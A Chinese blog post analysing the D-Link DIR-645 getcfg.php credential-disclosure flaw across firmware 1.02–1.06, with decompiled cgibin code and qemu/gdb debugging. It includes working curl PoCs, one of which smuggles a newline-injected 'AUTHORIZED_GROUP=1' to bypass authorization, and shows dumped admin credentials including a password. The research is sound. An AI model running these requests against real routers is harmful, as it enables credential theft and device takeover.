Dlink getcfg.php远程敏感信息读取漏洞分析

raycp / 2019-10-03 10:15:15 / 浏览数 5366 安全技术 漏洞分析 顶(0) 踩(0)

这个漏洞似乎在Dlink很多的产品都存在，此次分析主要是针对dir-645，将该漏洞点从1.02到1.04都分析一遍。

漏洞描述

出现问题的页面是`getcfg.php`，`1.02`及其之前，由于没有校验，可直接访问导致信息泄露；`1.02`之后，虽然有权限的检查，但是由于`cgibin`程序中代码逻辑出现了问题

漏洞复现

在官网下载固件，版本是1.02；1.03版本的固件链接以及1.04版本的固件链接。

针对1.02版本固件的poc代码如下：

```
curl -d SERVICES=DEVICE.ACCOUNT http://xx.xx.xx.xx/getcfg.php
```

可以看到成功获取admin账号与密码。

```
<uid>USR-</uid>
<name>admin</name>
<usrid></usrid>
<password>Haan1324</password>
```

```
$ curl -d SERVICES=DEVICE.ACCOUNT http://[redacted]/getcfg.php
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
        <service>DEVICE.ACCOUNT</service>
        <device>
                <gw_name>DIR-645</gw_name>

                <account>
                        <seqno>2</seqno>
                        <max>2</max>
                        <count>2</count>
                        <entry>
                                <uid>USR-</uid>
                                <name>admin</name>
                                <usrid></usrid>
                                <password>[redacted]</password>
                                <group>0</group>
                                <description></description>
                        </entry>
                        <entry>
                                <uid>USR-1</uid>
                                <name>user</name>
                                <usrid></usrid>
                                <password></password>
                                <group>101</group>
                                <description></description>
                        </entry>
                </account>
                <group>
                        <seqno></seqno>
                        <max></max>
                        <count>0</count>
                </group>
                <session>
                        <captcha>0</captcha>
                        <dummy></dummy>
                        <timeout>600</timeout>
                        <maxsession>128</maxsession>
                        <maxauthorized>16</maxauthorized>
                </session>
        </device>
</module>
</postxml>
```


1.03的poc代码

```
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://xx.xx.xx.xx/getcfg.php"
```

可以看到，能成功获取帐号与密码（admin帐号为空口令）。

```
$ curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://[redacted]:8080/getcfg.php"
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
        <service>DEVICE.ACCOUNT</service>
        <device>
                <gw_name>DIR-645</gw_name>

                <account>
                        <seqno></seqno>
                        <max>2</max>
                        <count>1</count>
                        <entry>
                                <uid></uid>
                                <name>Admin</name>
                                <usrid></usrid>
                                <password></password>
                                <group>0</group>
                                <description></description>
                        </entry>
                </account>
                <group>
                        <seqno></seqno>
                        <max></max>
                        <count>0</count>
                </group>
                <session>
                        <captcha>0</captcha>
                        <dummy></dummy>
                        <timeout>600</timeout>
                        <maxsession>128</maxsession>
                        <maxauthorized>16</maxauthorized>
                </session>
        </device>
</module>
</postxml>
```


同时使用1.02的poc进行测试，看到返回的结果是未授权。

```
$ curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture" "http://[redacted]:8080/getcfg.php"
<?xml version="1.0" encoding="utf-8"?>
<postxml>
        <result>FAILED</result>
        <message>Not authorized</message>
</postxml>
```


尝试在1.04上进行测试，也是可行，尝试在1.05、1.06上进行测试，仍然成功，这个洞在dir-645上面好像没有修补的感觉。

漏洞分析

上一步已经将固件下载下来了，用binwalk将固件解压。

首先对1.02版本的漏洞进行分析，根据poc：

```
curl -d SERVICES=DEVICE.ACCOUNT http://xx.xx.xx.xx/getcfg.php
```

直接访问的getcfg.php页面，文件在/htdocs/web/getcfg.php中。关键代码如下：

```
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
   TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
   $SERVICE_INDEX = 0;
   while ($SERVICE_INDEX < $SERVICE_COUNT)
   {
       $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
       TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
```

```
        if ($GETCFG_SVC!="")
        {
            $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
            /* GETCFG_SVC will be passed to the child process. */
            if (isfile($file)=="1") dophp("load", $file);
        }
        $SERVICE_INDEX++;
    }
```

可以看到在没有经过任何的权限检查的情况下，程序直接获取SERVICES参数，并将其解析为$GETCFG_SVC变量，并最终拼接成"/htdocs/webinc/getcfg/".$GETCFG
$file)将文件读取出来，从而形成了文件包含漏洞。

至于包含啥文件，从poc里面可以看到此处包含的是/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php，正是该php文件导致了帐号密码泄露。关键代码如下：

```
foreach("/device/account/entry")
{
    if ($InDeX > $cnt) break;
    echo "\t\t\t<entry>\n";
    echo "\t\t\t\t<uid>".       get("x","uid"). "</uid>\n";
    echo "\t\t\t\t<name>".      get("x","name").    "</name>\n";
    echo "\t\t\t\t<usrid>".     get("x","usrid").   "</usrid>\n";
    echo "\t\t\t\t<password>".  get("x","password")."</password>\n";
    echo "\t\t\t\t<group>".     get("x", "group").  "</group>\n";
    echo "\t\t\t\t<description>".get("x","description")."</description>\n";
    echo "\t\t\t</entry>\n";
}
```

到这里1.02版本的信息泄露成因分析结束。

查看1.03版本之后的成因，根据poc，可以看到是在post数据中加入了attack=ture%0aAUTHORIZED_GROUP=1。

```
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://xx.xx.xx.xx/getcfg.php"
```

首先分析之前的poc失败的原因，查看1.03版本文件系统中的getcfg.php，文件目录仍然是/htdocs/web/getcfg.php,关键代码如下：

```
if(is_power_user() == 1)
    {
        /* cut_count() will return 0 when no or only one token. */
        $SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
        TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
        $SERVICE_INDEX = 0;
        while ($SERVICE_INDEX < $SERVICE_COUNT)
        {
            $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
            TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
            if ($GETCFG_SVC!="")
            {
                $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
                /* GETCFG_SVC will be passed to the child process. */
                if (isfile($file)=="1") dophp("load", $file);
            }
            $SERVICE_INDEX++;
        }
    }
    else
    {
        /* not a power user, return error message */
        echo "\t<result>FAILED</result>\n";
        echo "\t<message>Not authorized</message>\n";
    }
```

可以看到之前的poc失败应该是因为is_power_user()返回失败，所以导致输出未授权信息。

查看is_power_user()函数：

```
function is_power_user()
{
    if($_GLOBALS["AUTHORIZED_GROUP"] == "")
    {
        return 0;
    }
```

```
   if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
   {
       return 0;
   }
   return 1;
}
```

只有在$_GLOBALS数组中存在AUTHORIZED_GROUP变量才且该值大于等于0才会返回1，在php文件中搜索AUTHORIZED_GROUP字符，并没有看起来比较是和登录相关并对

相应php请求的代码为usr/sbin/phpcgi，它是一个指向/htdocs/cgibin的链接：

```
$ ls -al ./usr/sbin/phpcgi

lrwxrwxrwx 1 raycp raycp 14 Jul  9 01:33 ./usr/sbin/phpcgi -> /htdocs/cgibin
```

因此去看/htdocs/cgibin文件：

```
$ file ./htdocs/cgibin
./htdocs/cgibin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
```

该文件是小端的mips
32程序，把它拖到ida里面，为了能看反编译代码，也将其拖到ghidra里面。同时为了有对比，也将1.02版本中的/htdocs/cgibin拖到ida以及ghidra里面进行对比分析。

main函数主要是一个函数分发，不同的cgi名称对应不同的处理函数，可以看到phpcgi对应的是phpcgi_main处理流程。

```
argv0 = *argv;
slash_ptr = strrchr(argv0,0x2f);
if (slash_ptr != (char *)0x0) {
  argv0 = slash_ptr + 1;
}
ret_value = strcmp(argv0,"scandir.sgi");
if (ret_value == 0) {
  UNRECOVERED_JUMPTABLE = scandir_main;
}
else {
  iVar1 = strcmp(argv0,"phpcgi");
  if (iVar1 == 0) {
    UNRECOVERED_JUMPTABLE = phpcgi_main;
  }
  else {
    iVar1 = strcmp(argv0,"dlapn.cgi");
    if (iVar1 == 0) {
      UNRECOVERED_JUMPTABLE = dlapn_main;
    }
    else {
      iVar1 = strcmp(argv0,"dldongle.cgi");
      if (iVar1 == 0) {
        UNRECOVERED_JUMPTABLE = dldongle_main;
      }
      else {
        iVar1 = strcmp(argv0,"dlcfg.cgi");
        if (iVar1 == 0) {
          UNRECOVERED_JUMPTABLE = dlcfg_main;
        }
        else {
          iVar1 = strcmp(argv0,"seama.cgi");
          if (iVar1 == 0) {
            UNRECOVERED_JUMPTABLE = seamacgi_main;
          }
```

跟进去phpcgi_main函数，可以看到它用sobj_xxx系列函数来处理字符串，在网上找到了源码，可以进行参考，方便分析。

```
ptr = sobj_new();
if (ptr != (astruct *)0x0) {
  sobj_add_string(ptr,argv[1]);
  sobj_add_char(ptr,'\n');
while (*ppcVar3 != (char *)0x0) {
  sobj_add_string(ptr,"_SERVER_");
  sobj_add_string(ptr,*ppcVar3);
  sobj_add_char(ptr,'\n');
  ppcVar3 = ppcVar3 + 1;
}
request_method_ptr = getenv("REQUEST_METHOD");
if (request_method_ptr != (char *)0x0) {
  iVar2 = strcasecmp(request_method_ptr,"HEAD");
  if ((iVar2 == 0) || (iVar2 = strcasecmp(request_method_ptr,"GET"), iVar2 == 0)) {
    func_ptr = GetKeyValue;
  }
  else {
    iVar2 = strcasecmp(request_method_ptr,"POST");
    if (iVar2 != 0) goto LAB_00405ba0;
    func_ptr = PostKeyValue;
  }
  iVar2 = cgibin_parse_request(func_ptr,ptr,0x80000);
  if (iVar2 < 0) {
    if (iVar2 == -100) {
      __stream = fopen("/htdocs/web/info.php","r");
      if (__stream != (FILE *)0x0) {
        fclose(__stream);
        cgibin_print_http_resp(1,"/info.php",&DAT_0041fadc,"ERR_REQ_TOO_LONG",0,0x41f388);
      }
    }
    else {
      cgibin_print_http_status(400,"unsupported HTTP request","unsupported HTTP request");
    }
  }
  else {
    uVar1 = sess_validate();
    sprintf(acStack40,"AUTHORIZED_GROUP=%d",uVar1);
    sobj_add_string(ptr,acStack40);
    sobj_add_char(ptr,'\n');
    sobj_add_string(ptr,"SESSION_UID=");
    sess_get_uid(ptr);
    sobj_add_char(ptr,'\n');
    uVar1 = sobj_get_string(ptr);
    iVar2 = xmldbc_ephp(0,0,uVar1,stdout);
```

以换行符分割参数

处理页面请求方式

处理请求

验证权限

可以看到phpcgimain中最主要的工作是对请求参数、请求头进行解析，然后将执行权交给 php。

首先判断请求的方式是HEAD或GET，如果是的话则后续处理参数的函数则为GetKeyValue；如果为POST则后续处理参数的函数则为PostKeyValue，接着调用cgibin_pa

该函数首先会判断传入的url中是否存在问号来判断请求方式，如果存在问号则直接将调用相应的函数处理方式GetKeyValue或PostKeyValue（感觉这样的判断是有问题的

如果为post则通过比对CONTENT_TYPE来找到相应的类型处理函数进行判断，并最终调用PostKeyValue。

因为poc中是post请求，因此主要看下PostKeyValue，对于每对传入的参数都会按照以键值对的形式（ _TYPE_KEY=VALUE ，TYPE 为 GET、POST、SERVER等），并以 \n 分隔储存到一字符串中。

```
if (*param_2 == 0) {
  sobj_add_string(ptr,"_POST_");
  string = (char *)sobj_get_string(param_2[1]);
  sobj_add_string(ptr,string);
  sobj_add_char(ptr,'=');
  iVar1 = param_2[2];
}
else {
  if (*param_2 != 1) {
    return;
  }
  sobj_add_string(ptr,"_FILES_");
  string = (char *)sobj_get_string(param_2[1]);
  sobj_add_string(ptr,string);
  sobj_add_char(ptr,'=');
  if (param_2[2] == 0) {
    string = "N/A";
  }
  else {
    string = (char *)sobj_get_string();
  }
  sobj_add_string(ptr,string);
  sobj_add_char(ptr,'\n');
  sobj_add_string(ptr,"_FILETYPES_");
  string = (char *)sobj_get_string(param_2[1]);
  sobj_add_string(ptr,string);
  sobj_add_char(ptr,'=');
  iVar1 = param_2[3];
  if (iVar1 == 0) {
    string = "N/A";
    goto LAB_00405758;
  }
}
string = (char *)sobj_get_string(iVar1);
LAB_00405758:
sobj_add_string(ptr,string);
                    /* WARNING: Could not recover jumptable at 0x0040577c. Too many branches */
                    /* WARNING: Treating indirect jump as call */
sobj_add_char(ptr,'\n');
return;
```

存储类型加键值=值

换行符分割

对请求处理完成后，所有的参数都会以以键值对的形式，并以 \n 分隔储存到字符串中。

接着就是对用户权限进行验证，关键代码如下，程序调用了sess_validate来对session进行判断，最后的返回值以格式化字符串的形式保存到AUTHORIZED_GROUP=%d中

```
else {
  uVar1 = sess_validate();
  sprintf(acStack40,"AUTHORIZED_GROUP=%d",uVar1);
  sobj_add_string(ptr,acStack40);
  sobj_add_char(ptr,'\n');
  sobj_add_string(ptr,"SESSION_UID=");
  sess_get_uid(ptr);
  sobj_add_char(ptr,'\n');
  uVar1 = sobj_get_string(ptr);
  iVar2 = xmldbc_ephp(0,0,uVar1,stdout);
}
```

然后调用sobj_get_string获取字符串后，调用xmldbc_ephp去最终执行php，xmldb client的源码也在网上找到了，有需要的可以看看。

到这里就可以比较直观的看到问题所在，传入的参数以键值对的形式保存在sobj结构体里（其实就是字符串），并以\n符分割，同时权限验证的返回值也以键值对的形式保

若我们传入的参数中包含AUTHORIZED_GROUP=0，由于参数解析的时候会加入一个类型最终变成_POST_AUTHORIZED_GROUP=0，因此无法绕过检查。但是由于参数解析的

动态验证

觉得对于后续的这个cgibin有进一步调试验证的需要以帮助理解该漏洞。

使用qemu用户模式来进行调试，调试脚本为cgi_run_phpcgi.sh，用命令sudo ./cgi_run_phpcgi.sh使用qemu运行cgibin，并监听端口1234，bash脚本内容如下：

```
#!/bin/bash
# sudo ./cgi_run.sh

INPUT=`python -c "print 'SERVICES=DEVICE.ACCOUNT&attack=ture\nAUTHORIZED_GROUP=1'"`

LEN=$(echo $INPUT | wc -c)
PORT="1234"

if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
   echo -e "\nusage: sudo $0\n"
   exit 1
fi

cp $(which qemu-mipsel-static) ./qemu

echo "$INPUT"  | chroot .  ./qemu  -0 "/phpcgi" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded"  -E
echo "run ok"
rm -f ./qemu
```

脚本中需要说明的两点是使用-0指定第一次参数为/phpcgi，因为cgibin中判断cgi名称的为第一个参数，其次是CONTENT_TYPE为application/x-www-form-urlenc

程序运行起来后，使用gdb-multiarch调试cgibin，命令为gdb-multiarch ./htdocs/cgibin。有可能会因为gdb中存在bug导致调试出问题，此时可以尝试自己编译新版本的gdb来进行调试，将所有架构支持都添加进去（虽然最后pwndbg可能

```
wget https://ftp.gnu.org/gnu/gdb/gdb-8.2.1.tar.gz
tar -xvf gdb-8.2.1.tar.gz
cd gdb-8.2.1
mkdir build
cd build
../configure --prefix=/usr --disable-nls --disable-werror --with-system-readline --with-python=/usr/bin/python3.6 --with-syste
make -j7
sudo make install
```

同时想要卸载自己编译的gdb不能简单的make uninstall，根据文章，需要进入每个子目录，分别执行make uninstall命令。

```
A clumsy workaround is to cd into each subdir in the build tree and do
make uninstall there.
```

最后开始之前再说明下strobj结构体，sobj_add_string以及sobj_add_char都是将字符串添加到结构体的buff中。

```
struct strobj
{
   struct dlist_head list;
   unsigned int flags;
   size_t total;   /* allocated size, not including the terminated NULL. */
   size_t size;    /* used size, not including the terminated NULL. */
   char * buff;    /* pointer to the buffer */
};

struct strobj_list
{
   struct dlist_head head;
   struct strobj * curr;
};
```

进入gdb调试，将断点下在phpcgi_main中的调用cgibin_parse_request处（0x405a00）。查看此时的strobj结构体。

```
(gdb) x/10wx 0x00435008
0x435008:       0x00435008      0x00435008      0x00000000      0x000008e0
0x435018:       0x000008c3      0x00435028      0x00000000      0x000008e9
0x435028:       0x7068702f      0x0a696763
```

可以看到此时的buff大小为0x8e0，已使用0x8c3，地址为0x00435028，字符串中的内容为：

```
(gdb) x/s 0x00435028
0x435028:       "/phpcgi\n_SERVER_REMOTE_ADDR=127.0.0.1\n_SERVER_REQUEST_URI=/getcfg.php\n_SERVER_REQUEST_METHOD=POST\n_SERVER
```

单步执行，执行完cgibin_parse_request函数后，查看该结构体：

```
(gdb) x/10wx 0x00435008
0x435008:       0x00435008      0x00435008      0x00000000      0x00000920
0x435018:       0x00000907      0x004359e8      0x00000000      0x000008e9
0x435028:       0x7f7ab654      0x7f7ab654
```

因为realloc调整堆的原因，buff地址已经变成了0x004359e8，此时已使用大小为0x00000907，查看新添加进去的post参数的内容：

```
(gdb) x/s 0x004359e8+0x8c3
0x4362ab:       "_POST_SERVICES=DEVICE.ACCOUNT\n_POST_attack=ture\nAUTHORIZED_GROUP=1\n\n"
```

可以看到正如分析的一样，参数是以键值对的形式存储，以换行符分割，且会在键值前面加入_TYPE_。因此可以在参数中伪造换行符实现字符串的构造，可以看到此时也伪

接着一直运行，直到运行至session判断完毕，即将真正的AUTHORIZED_GROUP添加到结构体中的部分。断点下在最后的sobj_get_string处（0x405b6c），查看结构

```
(gdb) x/10wx 0x00435008
0x435008:       0x00435008      0x00435008      0x00000000      0x00000920
0x435018:       0x00000907      0x004359e8      0x00000000      0x000008e9
0x435028:       0x7f7ab654      0x7f7ab654
```

查看post参数之后的字符串：

```
0x00405b6c in phpcgi_main ()
(gdb) x/s 0x004359e8+0x8c3
0x4362ab:       "_POST_SERVICES=DEVICE.ACCOUNT\n_POST_attack=ture\nAUTHORIZED_GROUP=1\n\nAUTHORIZED_GROUP=-1\nSESSION_UID=\n"
```

可以看到此时加入的正是AUTHORIZED_GROUP=-1，但是由于前面已经插入了一个AUTHORIZED_GROUP=1，导致了后面php对AUTHORIZED_GROUP的认证绕过，从而实现

小结

除了getcfg.php之外，该固件中的htdocs/webinc/fatlady.php也可以形成信息泄露，原理一致。

对于漏洞来说，千里之堤，溃于蚁穴。对于自己，还是要注意细节，多看看学。

相关文件与脚本链接github

参考链接

1. D-LINK DIR-645 FIRMWARE 1.02 AUTHENTICATION /GETCFG.PHP SERVICES INFORMATION DISCLOSURE
2. D-Link 850L&645路由漏洞分析
3. D-Link Routers 110/412/615/815 Arbitrary Code Execution
4. 路由器漏洞挖掘之 DIR-805L 越权文件读取漏洞分析
5. 关于D-Link DIR 8xx漏洞分析
6. strobj 系列函数相关源码
7. dlink_auth_rce
8. xmldb client相关源码

上一篇：PHP反序列化进阶学习与总结 下一篇：2019浙江省大学生网络与信息安全...

1. 0 条回复
   - 动动手指，沙发就是你的了！

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板